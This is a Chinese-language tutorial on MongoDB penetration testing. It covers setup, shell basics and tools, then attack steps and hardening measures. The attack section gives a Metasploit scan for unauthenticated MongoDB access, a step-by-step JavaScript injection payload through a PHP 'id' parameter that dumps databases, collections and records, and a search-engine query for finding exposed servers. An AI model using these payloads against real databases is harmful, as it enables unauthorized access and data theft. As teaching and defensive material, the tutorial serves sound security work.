MongoDB数据库渗透测试及漏洞复现
字数 1862 2025-08-09 18:44:06

MongoDB数据库渗透测试及漏洞复现教学文档

0x01 MongoDB数据库简介

MongoDB是一个高性能、开源、无模式的文档型数据库,基于分布式文件存储,由C++编写。数据以JSON样式文档的形式存储,是当前最热门的NoSQL数据库产品之一。

关键特性:

  • 默认端口号:27017
  • 数据存储形式:库-集合-文档-字段
  • 与传统SQL术语对比:
SQL术语 MongoDB术语 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引

自带数据库:

  • admin:root数据库,用户添加到此数据库将继承所有权限
  • local:不会被复制的数据库,存储限于本地单台服务器的集合
  • config:分片设置时内部使用,保存分片相关信息

漏洞成因:
MongoDB未配置访问认证授权时,可无需认证连接数据库并进行任意操作(未授权访问漏洞),存在严重数据泄露风险。默认安装后无账号密码且未开启权限验证。

0x02 MongoDB渗透测试环境配置

Windows版本安装配置

  1. 下载安装

    • 官网下载地址:https://www.mongodb.com/try/download/community
    • 选择Custom安装类型
    • 修改默认安装路径
    • 取消安装MongoDB Compass(可后续单独安装)
  2. 服务配置

    • 修改mongod.cfgbindIP为0.0.0.0允许远程连接
    • 配置环境变量(添加bin目录到PATH)
    • 配置文件启动服务:
      mongod --config c:\MongoDB\mongodb.conf --install --serviceName "mongodb"
      
    • 服务管理命令:
      net start mongodb
      net stop mongodb
      

Kali Linux版本安装配置

  1. 安装

    wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
    echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
    sudo apt-get update
    sudo apt-get install -y mongodb-org
    
  2. 服务管理

    sudo systemctl start mongod  # 启动
    sudo systemctl status mongod # 查看状态
    sudo systemctl stop mongod   # 停止
    sudo systemctl restart mongod # 重启
    
  3. 远程连接配置
    修改/etc/mongod.confbindIP为0.0.0.0

0x03 MongoDB基本操作

MongoDB Shell基础

进入shell:mongo(配置环境变量后)

基本命令

  1. 数据库操作

    show dbs                  // 查看数据库列表
    db                        // 查看当前数据库
    use xiguadb               // 创建/切换数据库
    db.dropDatabase()         // 删除当前数据库
    
  2. 集合操作

    show collections          // 查看集合列表
    db.createCollection("lanmei") // 创建集合
    db.lanmei.drop()          // 删除集合
    
  3. 文档操作

    db.lanmei.insert({"name":"john"})  // 插入文档
    db.lanmei.find().pretty()          // 查询文档
    db.lanmei.remove({"str":"kkk"})    // 删除文档
    
  4. 条件查询

    db.lanmei.find({"num":"1234567"}).pretty()
    
  5. 认证登录

    mongo --host 192.168.1.1 --port 27017 -u "user" -p "pass" --authenticationDatabase "admin"
    

0x04 MongoDB工具使用

1. MongoDB Compass

  • 官方可视化工具
  • 下载地址:https://www.mongodb.com/download-center/compass
  • 连接方式:直接点击Connect连接本地数据库

2. Robo 3T

  • 免费开源可视化工具
  • 下载地址:https://robomongo.org/
  • 创建连接:填写IP、端口、认证信息

3. Navicat for MongoDB

  • 商业可视化工具
  • 下载地址:http://www.navicat.com.cn/products/navicat-for-mongodb

4. NoSQLMap

  • NoSQL注入审计工具
  • 项目地址:https://github.com/codingo/NoSQLMap
  • 安装:
    python setup.py install
    python nosqlmap.py
    
  • 功能:
    • NoSQL数据库访问攻击
    • NoSQL Web应用攻击
    • 扫描匿名MongoDB访问

0x05 MongoDB渗透测试及漏洞复现

1. MSF渗透MongoDB

可用模块

search mongodb

主要使用mongodb_login模块扫描未授权访问:

use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS 192.168.1.1
run

2. MongoDB SQL注入漏洞

漏洞复现步骤

  1. 测试注入点:

    http://example.com/new_list.php?id=1'
    
  2. 构造注入:

    id=1'}); return ({title:1,content:'test
    
  3. 爆库名:

    id=1'}); return ({title:tojson(db),content:'test
    
  4. 爆表名:

    id=1'}); return ({title:tojson(db.getCollectionNames()),content:'test
    
  5. 爆字段:

    id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'test
    

3. 基于空间搜索引擎的渗透

  1. 搜索关键字:

    product:"MongoDB"
    
  2. 验证未授权访问:

    • 使用Robo 3T等工具直接连接
    • 使用MSF扫描验证

0x06 MongoDB防御措施

1. 修改监听地址

编辑配置文件(Windows: mongod.cfg, Linux: /etc/mongod.conf):

net:
  port: 27017
  bindIp: 127.0.0.1  # 限制为本地或指定IP

2. 启用认证

  1. 创建管理员用户:

    use admin
    db.createUser({
      user: "admin",
      pwd: "complexpassword",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    })
    
  2. 启用认证:

    security:
      authorization: enabled
    
  3. 重启服务后认证方式:

    • 命令行认证:
      mongo -u admin -p complexpassword localhost:27017/admin
      
    • 连接后认证:
      use admin
      db.auth("admin", "complexpassword")
      

3. 其他安全措施

  • 配置防火墙规则限制访问IP
  • 定期更新MongoDB版本
  • 启用TLS/SSL加密通信
  • 配置适当的用户角色和权限

总结

本教学文档详细介绍了MongoDB的渗透测试方法和防御措施,包括环境配置、基本操作、工具使用、漏洞复现和安全加固等内容。关键点在于理解MongoDB的未授权访问漏洞和注入漏洞的利用方式,以及如何通过配置认证和访问控制来增强数据库安全性。

MongoDB数据库渗透测试及漏洞复现教学文档 0x01 MongoDB数据库简介 MongoDB是一个高性能、开源、无模式的文档型数据库,基于分布式文件存储,由C++编写。数据以JSON样式文档的形式存储,是当前最热门的NoSQL数据库产品之一。 关键特性: 默认端口号:27017 数据存储形式:库-集合-文档-字段 与传统SQL术语对比: | SQL术语 | MongoDB术语 | 说明 | |---------|------------|------| | database | database | 数据库 | | table | collection | 数据库表/集合 | | row | document | 数据记录行/文档 | | column | field | 数据字段/域 | | index | index | 索引 | 自带数据库: admin:root数据库,用户添加到此数据库将继承所有权限 local:不会被复制的数据库,存储限于本地单台服务器的集合 config:分片设置时内部使用,保存分片相关信息 漏洞成因: MongoDB未配置访问认证授权时,可无需认证连接数据库并进行任意操作(未授权访问漏洞),存在严重数据泄露风险。默认安装后无账号密码且未开启权限验证。 0x02 MongoDB渗透测试环境配置 Windows版本安装配置 下载安装 : 官网下载地址:https://www.mongodb.com/try/download/community 选择Custom安装类型 修改默认安装路径 取消安装MongoDB Compass(可后续单独安装) 服务配置 : 修改 mongod.cfg 中 bindIP 为0.0.0.0允许远程连接 配置环境变量(添加bin目录到PATH) 配置文件启动服务: 服务管理命令: Kali Linux版本安装配置 安装 : 服务管理 : 远程连接配置 : 修改 /etc/mongod.conf 中 bindIP 为0.0.0.0 0x03 MongoDB基本操作 MongoDB Shell基础 进入shell: mongo (配置环境变量后) 基本命令 数据库操作 : 集合操作 : 文档操作 : 条件查询 : 认证登录 : 0x04 MongoDB工具使用 1. MongoDB Compass 官方可视化工具 下载地址:https://www.mongodb.com/download-center/compass 连接方式:直接点击Connect连接本地数据库 2. Robo 3T 免费开源可视化工具 下载地址:https://robomongo.org/ 创建连接:填写IP、端口、认证信息 3. Navicat for MongoDB 商业可视化工具 下载地址:http://www.navicat.com.cn/products/navicat-for-mongodb 4. NoSQLMap NoSQL注入审计工具 项目地址:https://github.com/codingo/NoSQLMap 安装: 功能: NoSQL数据库访问攻击 NoSQL Web应用攻击 扫描匿名MongoDB访问 0x05 MongoDB渗透测试及漏洞复现 1. MSF渗透MongoDB 可用模块 : 主要使用 mongodb_login 模块扫描未授权访问: 2. MongoDB SQL注入漏洞 漏洞复现步骤 : 测试注入点: 构造注入: 爆库名: 爆表名: 爆字段: 3. 基于空间搜索引擎的渗透 搜索关键字: 验证未授权访问: 使用Robo 3T等工具直接连接 使用MSF扫描验证 0x06 MongoDB防御措施 1. 修改监听地址 编辑配置文件(Windows: mongod.cfg , Linux: /etc/mongod.conf ): 2. 启用认证 创建管理员用户: 启用认证: 重启服务后认证方式: 命令行认证: 连接后认证: 3. 其他安全措施 配置防火墙规则限制访问IP 定期更新MongoDB版本 启用TLS/SSL加密通信 配置适当的用户角色和权限 总结 本教学文档详细介绍了MongoDB的渗透测试方法和防御措施,包括环境配置、基本操作、工具使用、漏洞复现和安全加固等内容。关键点在于理解MongoDB的未授权访问漏洞和注入漏洞的利用方式,以及如何通过配置认证和访问控制来增强数据库安全性。